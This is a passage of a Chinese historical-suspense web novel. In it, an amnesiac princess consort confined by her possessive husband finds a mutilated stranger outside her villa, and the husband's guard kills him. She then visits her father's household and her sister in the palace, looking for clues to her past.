石子路旁,栽种着花草,被日头暴晒一日,蔫蔫的。
魏沛鸾轻叹一口气,抬头望向天边的晚霞。
“王妃,可是累了?是否要回去歇息?”青蓉瞧了一眼她苍白的脸色,担忧地问道。
魏沛鸾摇摇头,叹道:“整日在这院子里消磨光阴,当真是无趣。”
“王妃大病初愈,王爷这也是为了您好,才不让您出去这别院的。”青蓉解释道。
这样的话,魏沛鸾已听过许多次。
一句为了她好,将她困在这别院之中数日。
行至院墙下,魏沛鸾抬头望着绯红的晚霞,几只飞鸟从她眼前掠过,隐入密林间,很快便不见了踪迹。
驻足片刻,她欲转身回去,突然听见院墙外传来细微的响动。似乎就在外边墙角下,有什么东西,离她很近。
精神本不大好的魏沛鸾闻声一惊,立刻来了兴致,疾步走近墙角下细细听着。
这动静不大不小,像是人的低吟,又像是动物的喘息声。
“王妃?”青蓉见状,疑惑不已,“王妃在听什么?”
打起精神的魏沛鸾竖起耳朵仔细去听,随后对青蓉招招手,示意她过来,压低了声音问:“青蓉你听,墙外是不是有动静?”
青蓉好奇地附耳去听,听了一会儿后,确实听见墙外有沉重的呼吸声,疑惑道:“王妃,似乎是有人在外头?”
“人?”魏沛鸾一听,心中顿时欣喜不已。
这是自从她醒来这么久之后,唯一的机会可以见到这别院之外的人。她左右张望一圈,趁四下无人,她可以悄悄地出去。
于是,她抬脚疾步往旁边的后门而去。
青蓉急了,忙跟上去叫住她,“王妃!您要做什么?万万不可出去!”
魏沛鸾小心翼翼地放下门闩,赶紧对她做了个噤声的动作,“小声些,我去外头瞧瞧。”
“王妃不可!”青蓉立马拦住她,“王爷不让您出去!”
“我只在院墙外瞧瞧,瞧瞧那人是谁,不走远了,很快便回来。你在此处等着,有人来便唤我。”这可是接触到外人的大好机会,魏沛鸾不愿错过,急忙推开门出去。
门外是一片铺天盖地的翠绿色,密林遮天蔽日,死死挡住那一点点落日的光芒,使得门外的光线有些昏暗。
她睁着一双大眼睛,新奇地打量四处,在发现并无任何异样之后,急忙往墙角边去,只见一满身血污的男子匍匐在地,正在痛苦地往前爬行。
见此情形,魏沛鸾吓了一跳,欲往前的脚步突然顿住。
男子听见动静,动作缓慢地转头来看,却在看清魏沛鸾面容的那一刻,瞳孔骤缩,立即激动不已,喉咙里发出嘶哑的叫唤声。
魏沛鸾疑惑地望着面前其人,只见他面容脏污,眼里布满红血丝,张大的嘴巴里,有鲜血源源不断地往下流。
她壮着胆子小心翼翼地往前两步,俯低身子去看,才发现这人的舌头断了,鲜血便是从他舌头的断口处往外流的。
面前这副景象实在过于骇人,她缓缓直起身子,吓得本就苍白的脸色更加煞白,连手心里都在冒汗。
男子蓬头垢面,在看见魏沛鸾时,便手脚并用往她这边爬行。但他弯曲的四肢似乎不怎么灵活,每往前爬行一点,便疼地哇哇大叫。
“你……你是谁?发生了何事?”终于见到别院之外的人,不成想见到的却是这一副骇人的景象,她不自觉后退半步,“你家在何处?可需要我帮你?”
正在爬行的男子闻言,抬起头,一脸震惊地望向她,似乎是惊讶于她的问题,又似乎是在打量她的容貌。过了好一会儿,他张大嘴巴,似乎想说些什么,但从喉咙中发出来的声音,只有令人毛骨悚然的嘶吼。
见他情绪实在激动,魏沛鸾眼下也没了主意,只得安慰道:“你受了伤,别激动,你先告诉我,你叫什么名字?”
男子无法回答她的问题,只能从口中发出嘶吼。他脏污的脸上有一种迫切,似乎十分想要与她说些什么,但奈何魏沛鸾哪怕十分努力去听,都听不懂一个字。
“你别着急,你会写字吗?你在地上写给我看。”说着,魏
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沛鸾捡起一根树枝递给他,却发现他十指以一种诡异的姿势弯曲着,看来是骨头全折了,他也并不能拿着树枝写字。
这人究竟发生了何事?
他看起来比她大不了几岁,正是年轻力壮之时,怎会受如此严重的伤?
看他身上受伤的程度,绝对不是意外。
“你身上可有信物?我可以去帮你寻找家人。”魏沛鸾打量他一身的衣衫褴褛,想必他身上也是没什么信物可言。
可此人此时出现在这里,难不成是凑巧?
“王妃!”青蓉见她迟迟不归,急忙跑过来,“王妃!咱们快进去吧!要是被王爷发现就糟了!”
男子听见她被唤王妃,神情更加激动起来,张牙舞爪地朝魏沛鸾猛扑过来。
幸好魏沛鸾动作迅速,立马起身退后两步。
青蓉瞧见地上那人,忙用帕子掩鼻,一脸嫌弃道:“王妃,这是哪里来的乞丐?竟被人折磨成这副模样?咱们快些回去吧!这乞丐方才差点伤着您!”
“乞丐?”魏沛鸾再次将他打量一番,他虽然衣衫褴褛、蓬头垢面,且手脚都被打断,但脏污的脸上,五官倒是生得极好,不禁疑惑道:“若是乞丐,怎会到这儿来?”
“王妃,天色不早了,快些回去吧!”青蓉并未回答魏沛鸾的疑惑,而是一个劲儿地催促,生怕她们擅自出来的事情被王爷发现。
魏沛鸾不愿就此离去,毕竟是在这别院之外遇到的第一个人,却是一个这样奇怪的人,她想要从他身上获得线索,可这人仅仅连说话都难,又如何与她交谈?
魏沛鸾掏出帕子,想要为他擦干净脸,看看他的模样,就在帕子即将触碰到他的脸时,身后突然响起李京熠的声音。
“小九,你在做什么?”
这声音很冷,混合着傍晚时分林间吹来的寒气,冷得人牙齿打颤。
魏沛鸾回头,李京熠站在门外,脸色阴郁,气势逼人。
站在他身旁的是他的护卫屠刃,他腰间别着一把长刀,一身黑色劲装,干练非常。
她起身,正想要开口解释时,地上的男子突然发了疯似的去扯魏沛鸾的裙摆,嘴里一阵怪叫。
屠刃见状,迅速上前,一脚踢开那人。
那人疼得大叫,嘶哑的嗓子里发出的声音实在算不上好听,一大口鲜血从口中吐出,他趴在地上,痛苦地咳起来。
魏沛鸾欲上前查看,可男子抬头死死盯着她,盯着她心里发毛。
李京熠上前,牵住她的手,“小九,回去吧。”
魏沛鸾担忧地看了一眼地上的男子,犹豫地问道:“你可知他是谁?为何出现在别院外?”
李京熠瞥了一眼那男子,又不动声色地打量一番魏沛鸾的脸色,淡淡道:“兴许是流落在山里的乞丐,还是不要接触为好,他方才差点伤着你。”
闻言,魏沛鸾低头看了一眼脏污的裙摆,“他应该也不是故意的,看他实在可怜,我们要不要帮帮他?为他寻找家人,或是送他去医治?”
“放心,屠刃会去办的。”说完,李京熠给屠刃递了个眼色,紧接着,牵着魏沛鸾往院里去。
院门“吱呀”一声关上,屠刃抽出腰间锋利的长刀,手起刀落,一颗切口整齐的头颅迅速滚入杂草丛中。
9. 第9章
回到院中,魏沛鸾心中忐忑不安。她竖起耳朵认真去听,却没能再听到院外传来任何动静。
“小九?”
魏沛鸾回过神来,抬眸看他,问:“方才那人……你认识吗?”
“小九这话好生奇怪,我怎会认得一个蓬头垢面的乞丐?”李京熠并不答她这话,反而是反问道。
这话在魏沛鸾听来,并未有何不妥,她点点头,像是不经意似的问道:“那人为何会出现在这里?全身上下伤得那么重。难道,是被野兽所伤?”
李京熠攥紧她的手,唇边勾起一抹不大的笑容,“小九真是心善,方才那人差点伤着你,你还肯为他着想。”
魏沛鸾回想起他口中血淋淋的舌头,那一番景象实在可怖,可那人又属实可怜,“他伤得很重,能治得好吗?”
“兴许能吧。”李京熠的语气淡淡的,说完之后,垂眸瞥见她脏污的裙摆,又抬眸扫了一眼她苍白的面容,“倒是小九你,你究竟让我怎么说你好?为何偷偷溜出去?”
被话锋一调这么一问,魏沛鸾顿时紧张起来,她瞥了一眼李京熠的脸色,实在算不上是好。自知有错,她支支吾吾地解释道:“我突然听见墙外有动静……心生好奇,便出去了,也没有走远,就在门外而已。”
“若不是我及时赶到,还不知会发生何事。”
魏沛鸾故作无谓地赔笑道:“但我这不是好端端的嘛!幸好你及时赶到!”
李京熠淡漠的视线轻轻扫过她的鼻尖痣,面容平静,不再言语。
院外那人出现的时间实在恰巧,魏沛鸾回到卧室中之后,还在琢磨方才见到的那一幕景象。
那男子看向她时,眼中的情绪激动不已,可除了激动之外,似乎还隐藏着别的情绪。
魏沛鸾一时间琢磨不透,心中便也就无法将其放下。
“小九?”李京熠拿着帕子给她擦手,提醒道:“用膳吧。”
回过神来,魏沛鸾拿起筷子,忍不住往门外望了一眼,想问一问李京熠,可欲言又止,也不知该问些什么。
“怎么心不在焉的?”李京熠给她夹菜,见她往门外张望,问:“还在想那乞丐的事?小九是被吓着了?”
魏沛鸾迟疑地摇头,与其说是被吓到,更多的其实是感到好奇,“你不好奇那人的来历吗?比如说,他为何会变成那副模样?”
李京熠轻声笑了笑,满眼温柔,“小九还是一如既往的善良。那人看样子大概只是一个乞丐罢了,这样的乞丐,北苍城中有很多,一个冬天便能死伤大半。所以,小九无需为他过多忧心。”
话虽如此,可那是一条活生生的人命。
但话又说回来,即使是魏沛鸾想救,也是有心无力。
李京熠并不允许她擅自出去,也不允许她接触外人。若她还在他面前表现出放心不下那乞丐的样子,估计李京熠又会生气。
她吃下一口食物,随后抬眸看向李京熠,“我们何时下山?”
“当真这么迫不及待?”李京熠给她盛了一碗热汤,放在一旁晾凉。
“院中景色在我看来,已毫无新意,院里也就这么些人,名字我也已熟记于心,还有何事能消磨光阴?”魏沛鸾不悦似的撅嘴,故作一副生气不满的模样。
“小九是在怨我这些时日不常陪伴你左右?”
她别开脸去“哼”了一声,委屈道:“若是我说怨你,有用吗?”
“只要小九开口,但凡是我能办到的,一定尽力。”
“你说得好听,那我说要下山,何时才能下山?”魏沛鸾皱着眉头看他,像是势必要问一个答案出来,“难不成,你还要找理由推脱?你这些理由,我已听得耳朵都起茧子了。”
烛光映衬出她眉目间那一丝怒气,可怒又不似怒,倒像是娇嗔,瞧着让人不忍开口说拒绝的话。
李京熠从她玉雕般的脸庞剥离开视线,答道:“许久未归,且等个两日,待到王府中修整洒扫完毕,我再带你下山去。”
“当真?!”魏沛鸾一听,眸子里顿时亮晶晶的,像是洒满了星光,美得不可方物。
“嗯。”李京熠点头,眼眸深沉。
终于能下山,终于能去到北苍城中,终于能见到更多的人,魏沛鸾很是开心。
如此一来,她便能查找到有关于梦中的场景。
便也能确定,李京熠究竟是不是刺入那一剑的人。
-
李京熠说话算话,果然过了两日,在第三日清晨时分,与她一起上了马车。
马车行驶在蜿蜒的山路上,摇摇晃晃。魏沛鸾这一路上却都觉得新奇不已,掀起一侧珠帘仔细瞧着周围景色。
李京熠沉默地看着她,一举一动皆在眼里。
紧赶慢赶抵达北苍城中,已然过了小半日。
马车驶入城中的青石板路上,魏沛鸾还是一脸新奇又欣喜的模样。
街上的各色景象,无论是人是物,处处都让她感到心情大好。
城中繁华,小贩的叫卖声此起彼伏,与寂静的云隐别院之中的景象大不相同。
如此,才算是有了人间烟火气。
“小九,坐好,日头可毒了,当心晒着你。”城中人多眼杂,李京熠不愿太多人窥见她的容貌,只能伸手把她拉到自己身旁坐下,“马上就到王府了。”
“自从醒来之后,还是第一回见到这么多人,真是开心。”魏沛鸾眨着亮晶晶的大眼睛看着他,眉目间满是喜悦。
李京熠握紧她的手,视线透过珠帘缓缓往外看去。他阔别北苍城已有两个月之久,此次回城,不知有多少双眼睛在盯着端王府,少不得他还要去一趟宫里,见一见他那位皇帝弟弟。
想到这里,他轻叹口气,令人头疼的事还真是多呢。
马蹄声一路不停歇,最终在端王府大门前停下。
魏沛鸾急不可待地从马车上下来,站在王府大门前,仰头去看匾额上的三个大字——端王府。
尽管她是端王妃,但这还是第一次回到端王府。
这府邸气派非常,与云隐别院的温婉大不相同。
还不等她细细看过,便瞧见一胡子花白的老者从府里疾步出来,笑呵呵地对他们行礼道:“老奴路丙恭迎王爷、王妃回府!”
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“路管家也是许久未见了,不必多礼。”李京熠抬手,随后对魏沛鸾说道:“小九,这是王府的管家,府中一应事务,都是由路管家在打理。”
魏沛鸾打量一眼路管家,虽然他头发花白,但瞧着他说话的气势与行走的姿态,倒是很干练,“往后便有劳路管家了。”
“王妃客气!都是老奴应该做的!”路管家脸上带着笑,继续说道:“王爷王妃一路舟车劳顿,快快入府!老奴已让人备好佳肴!”
李京熠握着魏沛鸾的手,牵着她往里走,未曾松开片刻。
此时已至午时,日头晒得很,魏沛鸾不自觉眯着眼睛打量府中各处,只觉气派宏伟,处处彰显王府的威严气场。
“小九觉得这儿如何?”
“瞧着不错。”魏沛鸾如实答道。
“那小九可愿一直待在我身边?”
闻言,魏沛鸾不禁发笑,“这是什么话?难不成你怕我溜走?”
李京熠眼眸微闪,嘴角勾起,似笑非笑道:“即使小九想走,我也会将你牢牢锁在我身边。”
此时拂来一阵微热的风,魏沛鸾循着风吹来的方向看去,远远瞧见有一处湖泊,挂在脸上的笑容戛然而止。
她的步伐因此放慢,目光却飞快地掠过湖面。
那波光粼粼的湖面,岸边随风舞动的翠绿的杨柳,一幅宜人的景致,却看得魏沛鸾汗毛倒竖。
难道,真的是李京熠?
“小九?怎么了?”自她离开云隐别院,李京熠便时刻观察她的一举一动,她方才望向湖面时的停顿,又怎能逃得掉李京熠的双眼?
魏沛鸾借故用帕子擦汗,以此来掩盖异样的脸色,再抬头时,面上依旧满是笑意,“王府内景色很好,不禁看入迷了。”
“以后时日还长,慢慢看也不迟。”
“我们会长住于此?”
“难道小九不愿?”
“当然愿意。”她自然是愿意的,因为她必须要查清梦中的景象是怎么一回事。
还有她的记忆,她一定要想办法尽快恢复。
跟着李京熠走过长长的廊道,一处隐在竹林后的院子豁然出现魏沛鸾的眼前。
在进去院子里之前,魏沛鸾抬头看了一眼这院子的名字——广寒院。
这院子瞧着并不比蓬莱云居小,景色也丝毫不差。
看来,李京熠也是费心了。
“夏日里,这一处院子里最是凉爽,我特意吩咐路管家修缮了这院子。”李京熠向她解释道:“若是你觉得院中还缺何物,尽管告诉我。”
魏沛鸾无心在意这些,但面上不显,答道:“你面面俱到,什么都不缺。”
走近屋内,一阵清凉的风扑面而来,驱散开魏沛鸾周遭的热气。
她环视四周一圈,屋内的陈设摆放与蓬莱云居几乎一样,让人瞧着并不觉得陌生。
这样的布置有何用意?
难道说,是为了让她觉着熟悉、亲切?
在她看来,李京熠或许并不完全是为了她好。
他要杀她,所以做的这一切,当真是全心全意地对她好吗?
10. 第10章
既然已经回到北苍城中,魏沛鸾当务之急便是想去将军府里看望父亲。
此事与李京熠提起,他并未一口答应。
魏沛鸾央求他好一阵子,好话都说尽,他才终于点头。
午后的日头更是毒辣,李京熠吩咐路管家准备了上好的补品装上马车,说此行是去赔罪,没有空手前去的道理。
魏沛鸾心不在此,只点头说让他准备就好,别的她不插手。
前往将军府的路上,魏沛鸾的心里有些紧张。
她的脑海中,没有关于父亲的任何记忆,甚至连他的模样都记不起。他为人是否好相处,她的兄长与姐姐长得什么模样,她通通不记得。
热气从四面八方钻入马车内,她用帕子擦了擦额头上的细汗,紧蹙的眉头一直都未舒展开来。
“放宽心,大将军虽然沉默寡言,但不是个难相处的人。”李京熠似乎看出她的担忧,提醒了一句。
魏沛鸾徐徐吐出一口气,笑道:“分明是去见我的父亲,可还要让你来宽慰我。”
李京熠握住她的手,细细摩挲着她的手背。
“将军府里的事,我全然记不起来,你现在快与我说说,我与兄长还有阿姐的关系如何?”魏沛鸾只知自己是将军府三小姐,之前还是听青蓉提过她有一位大哥与姐姐,别的什么都不知。
李京熠思索片刻,而后答道:“小九性格温和,与兄长阿姐自然是相处得极好。”
“当真?”这显然是一句哄骗她的话,魏沛鸾又岂会相信?
李京熠无奈地轻笑一声,他自然是不晓得将军府里的那些琐碎事,眼下也只是挑两句好听的话说,“待会儿到了,小九不如亲眼见见他们再说?”
“那……兄长可有娶妻?阿姐可有嫁人?将军府里除他们之外,还有没有其他人?”魏沛鸾继续追问道。
答应陪她去将军府已是李京熠最大的让步,这些对于他来说不值一提的事,他自然是毫不关心,“放心,有我在,别紧张。”
过了不多久,马车在大将军府门前停下。
坐立难安的魏沛鸾赶紧好奇地探出视线去,只见门外站着一位中年男子,看他的气势与装扮,这应该便是她的父亲魏坚。
竟没想到,他会亲自在门外候着。
魏沛鸾跟随李京熠下马车,迫不及待地走到魏坚跟前,随后向他行礼,欣喜道:“沛鸾见过父亲。多日不见,父亲一切安好?”
魏坚点头,目光勉强在她身上扫过一眼,便转头对李京熠说道:“王爷,请。”
魏坚的反应平平,对她这个许久未见的女儿并未表现出半分关心。按理来说,她因伤昏睡两个月之久,作为父亲,应是对她格外关心才对。
可今日一见,当真如李京熠所言,魏坚是因两个月前的事,才不来见她的吗?
似乎不是这样。
他对她的神态之中,不见丝毫喜悦。
若硬要说魏大将军沉默寡言,才勉强说得过去。
魏沛鸾跟随李京熠入府,看样子,李京熠倒是比起她这个做女儿的要熟门熟路得多。
行至正厅,魏沛鸾坐下,扫视一圈四周,并未发现任何不妥之处。
丫鬟们来上茶,对她的态度很是恭敬,半句话都未多言。
李京熠在侧,魏沛鸾寻不到机会去询问丫鬟们有关于她之前在将军府的事。如坐针毡似的喝下半杯茶,魏沛鸾见他们相谈甚欢,于是起身道:“父亲,我想去我之前的住处看看。”
魏坚正在与李京熠谈话,被骤然打断,也只是微微点头,抬手示意一旁的丫鬟带她去。
反观李京熠,他似乎不放心她一人离去,望向她时,眉头微蹙,嘱咐了一句:“小九,有事唤我。”
“嗯。”魏沛鸾点头,转身跟着丫鬟离去。
丫鬟在前头带路,魏沛鸾边走边观赏府中景色,每一处瞧着都很陌生,一丝关于这府里的记忆都没有。
走到四下无人之处时,她问那丫鬟:“我兄长与阿姐呢?”
丫鬟毕恭毕敬地答道:“回王妃的话,大少爷被老爷派去军营中历练已有月余。二小姐……宣嫔娘娘在宫中。”
“宣嫔娘娘?”魏沛鸾甚是疑惑,“阿姐何时入宫的?”
为何先前李京熠并未向她提起?
“两个月前。”丫鬟答道。
两个月前?
为何会这般凑巧?
她因伤昏睡后不久,阿姐便入宫了?
这其中是否有关联?
“那这样说来,我今日无法见到兄长与阿姐?”
“是。”丫鬟微微侧身答道。
一路往后院去,路过的丫鬟小厮们皆向她行礼,态度恭敬,挑不出一丝错处。
于现在的魏沛鸾而言,这里是一个完全陌生的地方。之前她在这里生活时是何模样,她已全然不记得。
跟随丫鬟一路兜兜转转地往里走,行至一处僻静的院子时,前头带路的丫鬟停住脚步。
魏沛鸾站在这小小的院门前,好奇地往里打量。
尽管这院子比起王府里的广寒院是少了大半,但处处修整地十分整洁,院中姹紫嫣红,能看出有人精心布置打理过。
可这一切都不像是有些年头的样子,像是新布置的地方。
比如,墙边桃树下的泥土还未踩实,门窗上了新漆,院中虽然姹紫嫣红,但瞧着没什么生气。
魏沛鸾进入院中,推开卧房的门,屋内摆放着琴棋书画、笔墨砚台、刺绣女红。可这些在魏沛鸾看来,似乎都不是她的东西。
她不会抚琴,字迹也不优美。自从她昏睡醒来之后,从未接触过刺绣女红,细细想来,她应当是不感兴趣的。
魏沛鸾仔细看过每一处,并未发现她幼时的物件,“我从小到大,都居住在此处?”
“王妃幼时并不居于此处,此处院子是王妃出嫁前才搬来。”丫鬟回答得不紧不慢,未有一丝一毫的异样,“王妃幼时居住在别处,但因那处院子年久失修,已经塌陷,所以此处院子,王妃居住不过才几个月罢了。”
这个理由让魏沛鸾的疑心打消大半,她接着又问:“带我去之前的住处看看。”
“请王妃恕罪!那地方塌陷,很是脏乱,王妃还是不要踏足为好!”丫鬟立刻阻拦。
魏沛鸾还想接着往下问,但转念一想,这一定是父亲特意嘱咐过的,便也就不为难她了,“将军府里,可有我平时爱去的地方?”
丫鬟未曾犹豫,摇头道:“王妃喜静,常常待
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在卧房之中。”
“在卧房之中做何事?”
“琴棋书画,王妃都十分擅长。”
“十分擅长?”魏沛鸾喃喃道。
走到那一把古琴前,她抬手轻轻抚过,琴弦微颤,发出悦耳的声响。
琴声固然好听,可她的脑海中,想不起一首曲子。
难道,她将这些东西也全都忘却了?
无从考究,无从查起。
这儿究竟是不是她的住处,似乎并不那么重要。
重要的是,父亲方才对她的态度。
真是令人不解。
既如此,魏沛鸾转身从屋里离去。
日头晒得人发慌,魏沛鸾走出院子,行至廊下,突然瞧见李京熠迎面走来。
“如何?可记起些什么?”
魏沛鸾疾步上前,苦恼地摇头。
大将军府或许并不是她寻找记忆的最佳地方,唯一有可能让她记起些事物的地方在王府,那一处湖泊。
她不动声色地扫视一眼李京熠,察觉到他的脸色并无异样,难道是自己多疑了吗?
可仅存的记忆如何骗人呢?
李京熠究竟对她做过何事,还是要回到王府之中才能查清。
若是想从父亲口中问一些话,应也是些无用的话。
“你与父亲在聊什么?”
“向他赔罪。”
魏沛鸾但笑不语,并不想知晓详细的内容,就算刨根究底,那也是胡编出来搪塞她的。
大将军府里寻不到一丝有用的线索,下人们的嘴也是严得很,根本问不出更多。
回王府的路上,魏沛鸾盘算着该如何寻得机会去见一见兄长或是阿姐。他们二人之中,让魏沛鸾生疑的便是阿姐魏绯莺。
她为何在自己受伤昏迷后不久便入宫了呢?
这是父亲的意思吗?
“见你愁眉不展,在想什么?不妨说与我听听?”
闻言,魏沛鸾勾唇浅笑道:“这一日奔波甚是疲乏,我该听你的,明日再去将军府的。”
李京熠敏锐地捕捉到那一丝被隐藏的神情,却没有追问下去,“待会儿回去便早些歇息吧,我瞧你气色不好。”
魏沛鸾点头,脑子里却是乱糟糟的。
回到广寒院,魏沛鸾愁眉不展地倚坐在窗前。
青蓉在一旁伺候,仔细瞧着她眉目间的情绪。
“王妃,您看起来好像不开心?”
魏沛鸾放下手中团扇,眉宇间的忧愁散开几分,“你都能看出来,那是不是李京熠也看得出来?”
“王爷宠爱王妃,定然是不愿见到王妃愁眉不展的模样。”
魏沛鸾浅笑起来,眉间忧愁彻底消散,“果真如此吗?”
若果真如此,为何李京熠欺骗她?
“那是当然!”青蓉十分肯定地点头,斩钉截铁道:“王妃昏睡时,王爷尽心照料。您醒来后,王爷也是对您爱护有加。这论谁看了,都要羡慕呢!”
“羡慕?”魏沛鸾喃喃这两个字,只觉格外沉重。
将她困在云隐别院的是他,将她带回王府的也是他,爱她护她的是他,杀她的还是他。
魏沛鸾真是看不透李京熠,看不透他究竟想要做什么。
11. 第11章
次日,李京熠一早与她说,今日要入宫面圣。
这对于魏沛鸾而言,不失为一个好机会。她有机会见到魏绯莺,兴许能从她口中得到一些线索。
马车在宫墙外停下,魏沛鸾与李京熠一同步行至紫宸殿外,待太监通传,方才入内。
宫殿华丽巍峨,步入大殿内,威严的气息扑面而来。魏沛鸾跟在李京熠身侧,小心谨慎地瞥了一眼龙椅上的人。
年轻的帝王一袭龙袍加身,无论或坐或站,都是一副不怒自威的气场。
魏沛鸾不动声色地收回视线,同李京熠向他行礼。
他微微抬手,审视的目光在他们之间游荡,随后定在李京熠身上,“许久未见端王,还以为,端王会隐居世外一辈子呢!”
“陛下说笑了,今日入宫,只为向陛下请安。”李京熠态度恭谨,瞧不出一丝恼怒。
短短两句对话听在心里,魏沛鸾忍不住去琢磨他们兄弟俩之间的关系。
来时路上,李京熠并未向她透露皇帝的喜恶,若是他们之间关系亲密,李京熠定然会对她滔滔不绝。
但他一言未发,便说明他与皇帝之间已是君臣有别。
既然他已交了兵符,皇帝又为何对他这般言语打趣?毕竟许久未见,他们二人之间,却是丝毫不见半分喜悦。
“这一位,便是端王妃了吧?”话题突然指向她,魏沛鸾抬头,忽然与李炎对视上,随即反应过来这样于礼不合,便飞快地撇开视线,接话道:“臣妾魏氏,参见陛下!”
李炎从高位上下来,走近她,旁若无人地将她上下打量一番,赞叹道:“难怪端王要把王妃藏于别院中休养,天仙似的王妃,自然是要好好藏着才是啊!只不过,端王妃与朕的宣嫔,似乎长得不太相像啊?”
这样打量的视线让人很不舒服,但面前的人是皇帝,魏沛鸾也不能说什么,只能微微偏过头去,以免惹得皇帝不悦。
“陛下,小九与宣嫔娘娘并非一母所生,长相自然是不同。”李京熠接过话去,淡漠的视线在他们之间扫过一眼。
“哦?”李炎看向他,打趣似的问道:“难不成,端王是见魏府三小姐貌美才求亲的?”
一句调侃人的话,魏沛鸾听着不由得攥紧了拳头,认为自己还是远离这儿比较好,岔开话问道:“陛下,臣妾此番入宫,想要见一见许久未见的宣嫔娘娘,不知陛下可否应允?”
李炎扫过她那一颗娇俏的鼻尖痣,眸光一沉,嘴角勾起一抹明晃晃的笑意,对一旁的宫女道:“带端王妃去清凉殿。”
“谢陛下。”魏沛鸾行礼后,转身跟着宫女离去。
后宫之中,宫女太监成群,人人脸上都挂着一副严谨恭顺,瞧着让人无端升起一股压抑的情绪。
抵达清凉殿,魏沛鸾一进入殿内,便远远地瞧见一雍容华贵的女子卧在美人榻上,姿态慵懒随意,手中捏着一颗葡萄,欲送进嘴里。
魏沛鸾记不起从前与她关系如何,本着不失礼数,恭敬道:“臣妾魏氏,见过宣嫔娘娘。”
魏绯莺瞥了她一眼,放下手中葡萄,笑道:“三妹何必如此见外?什么魏氏啊娘娘的,咱们姐妹私下见面,还像从前相处便是了。”
她语气慵懒,脸上虽然带着笑,但这笑意仅仅挂在脸皮上而已,眼底十分平静,像是在看一个陌生人。
还不等魏沛鸾接话,便又听见她说道:“哦?我竟忘了,父亲与我说过,你得了失忆之症,怕是也不记得我与你从前的事了?”
“的确是不记得了。”魏沛鸾不动声色地打量她一眼,发现自己与她还真是不大相像,旁人若是不知道的,根本不会联想到她们是姐妹,“昨日,我与李京熠回城,便想着回将军府见一见兄长与阿姐,不成想,阿姐却已入宫。”
“你当时受伤昏迷,我原本想去云隐别院瞧一瞧你,奈何端王谢绝外人登门,我也就无可奈何了。”魏绯莺走近她,从头到脚将她细细打量一番,笑道:“不过今日瞧着三妹面色红润,想来自你嫁入端王府后,端王一定悉心照料你,才使得你与先前大不相同啊!”
“哪儿不相同?”魏沛鸾追问道。
见她一副刨根究底的模样,魏绯莺掩嘴笑道:“三妹何时这般爱较真了?我的意思是,王爷待你极好,这才使得你好像换了个人似的。”
闻言,魏沛鸾勉强勾唇笑笑,魏绯莺当真是这个意思吗?还是她意有所指?
她一定知道些什么。
“阿姐可愿与我说说从前在将军府里的事?昏睡两个月醒来,我已然记不起任何事。”
“这……”这个问题像是让魏绯莺不知该如何作答,她用帕子掩面,皱眉咳嗽两声,“三妹,实在是不凑巧,我因昨日贪凉,多食了些冰镇水果,今日有些咳嗽头晕,怕是不能与你畅所欲言了。”说着,宫女立马上前去扶她坐下。
魏沛鸾瞥了一眼美人榻旁的果盘,新鲜多汁的葡萄上挂着冰凉的水珠,心中明了。
看来,魏绯莺是不愿告诉她的。
她或许也像父亲一样,有意隐瞒了她一些事情。
“既如此,宣嫔娘娘好生歇息。”说完,她行礼退下。
问不出来的事,魏沛鸾也无法再追问。
一味地追问,反而令人生疑。
-
回府的路上,魏沛鸾抬眼去看李京熠,自从他上了马车之后,便面色不好。
沉思片刻,魏沛鸾主动靠在他肩头,握住他宽大有力的手掌,柔声问:“为何面色不佳?”
李京熠抬手轻蹭她白瓷般光滑柔嫩的脸颊,嘴角勾起一抹笑意,“小九同样心绪不佳,怎的还反倒关心起我来了?”
“关心你还不行了?”听他这么说,魏沛鸾故作生气的模样,“是我多嘴,那我以后都不问了。”
“问!怎会问不得呢!”这么说着,李京熠稍微停顿了一会儿,之后才继续说道:“是朝堂之事。说与你听也是徒增烦恼,不说也罢。”
“朝堂之事?我记得青蓉与我说过,你不是早就不过问朝堂事了?为何陛下还与你说这些?”
“身在帝王家,哪儿能完全隐居世外呢?”李京熠垂眸看着她眼底的神色,无半分好奇,只有面上隐约有些生气的模样,“就算此次回了城,我也决心不过问朝堂事,你且不必为我忧心。”
“我才
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不为你忧心!”说着,魏沛鸾故作动怒的模样推了他一把,可头还靠在他的肩上,并不是当真因此而生气,“远离朝堂,做个闲散王爷不是挺好的吗?”
话虽如此,在几个月之前,李京熠也是这样想的。
但奈何坐上皇位的那人步步紧逼,以至于将他逼至绝境。
“是很好。”李京熠抚着她的青丝,喃喃道:“现在这样便很好。”
“是吗?”魏沛鸾轻声问。
“当然。”李京熠扣紧她的手,不肯松开半分。
被扣住的手像是要被他捏碎,魏沛鸾暗自挣扎,反而被他越扣越紧,无奈只能出声提醒道:“快松开些!手都要被你捏碎了。”
李京熠松了松力气,却依旧没松开手,“小九去清凉殿不过片刻,难道未曾与宣嫔说说体己话?”
魏沛鸾摇头,不悦似的撇嘴道:“她有意瞒我,我难不成还能撬开她的嘴?”话落,她抬眸看向李京熠,仔细观察他脸上一闪而过的情绪。
居然一丝一毫的异样都未曾有。
究竟是他隐藏得太好,还是当真坦坦荡荡?
魏沛鸾的心中很是矛盾,不仅是她矛盾,她认为李京熠对她的所作所为也很是矛盾。
“那你呢?除了朝堂之事外,还与陛下说了什么?我可是等了你好久。”魏沛鸾眨着亮晶晶的大眼睛,好奇地问。
“也没什么,不过是几句场面话而已。”
“仅此而已?”魏沛鸾一副很感兴趣的模样,“难道,你与陛下的关系也像我与宣嫔一样,不太好?”
李京熠眯起狭长的眸子看她,唇边一抹淡淡的笑,“我与陛下并非一母同胞,不亲近是自然的。更何况,君臣有别,哪儿能像寻常人家的兄弟一样相处?”
“那你可有一母所生的兄弟姐妹?”
听魏沛鸾提起此事,李京熠点头道:“是有一位皇妹,名唤李灵,但早已嫁为人妇。说起来,也是很久未见过她了。”
“在城中吗?”
“嗯。”李京熠点头,随后问:“你想见她吗?”
“我以前见过她吗?”
“从未。”
“从未?”这样说来,魏沛鸾心中更是好奇,点头道:“改日有空,定是要见一见。”
能见一见更多人自然是极好的,能从别人口中得到些消息,自然也是极好的。
满头珠钗压得脖子疼,马车摇摇晃晃,金银珠钗叮叮当当,听得尤为吵闹。她捏了捏肩,指使李京熠道:“替我把步摇拔下来吧,压得肩膀真是酸。”
李京熠见她抿嘴不悦的模样,一边认真仔细地帮她把珠钗拔下来,一边笑道:“小九自由自在惯了,簪几支珠钗便觉得束缚住了?”
“的确是束缚。”魏沛鸾看着被摘下来的珠钗,正想去摘耳坠时,谁知李京熠已先她一步触碰到她的耳垂。
毫无设防的魏沛鸾被吓得一躲,瑟缩了一下身子。
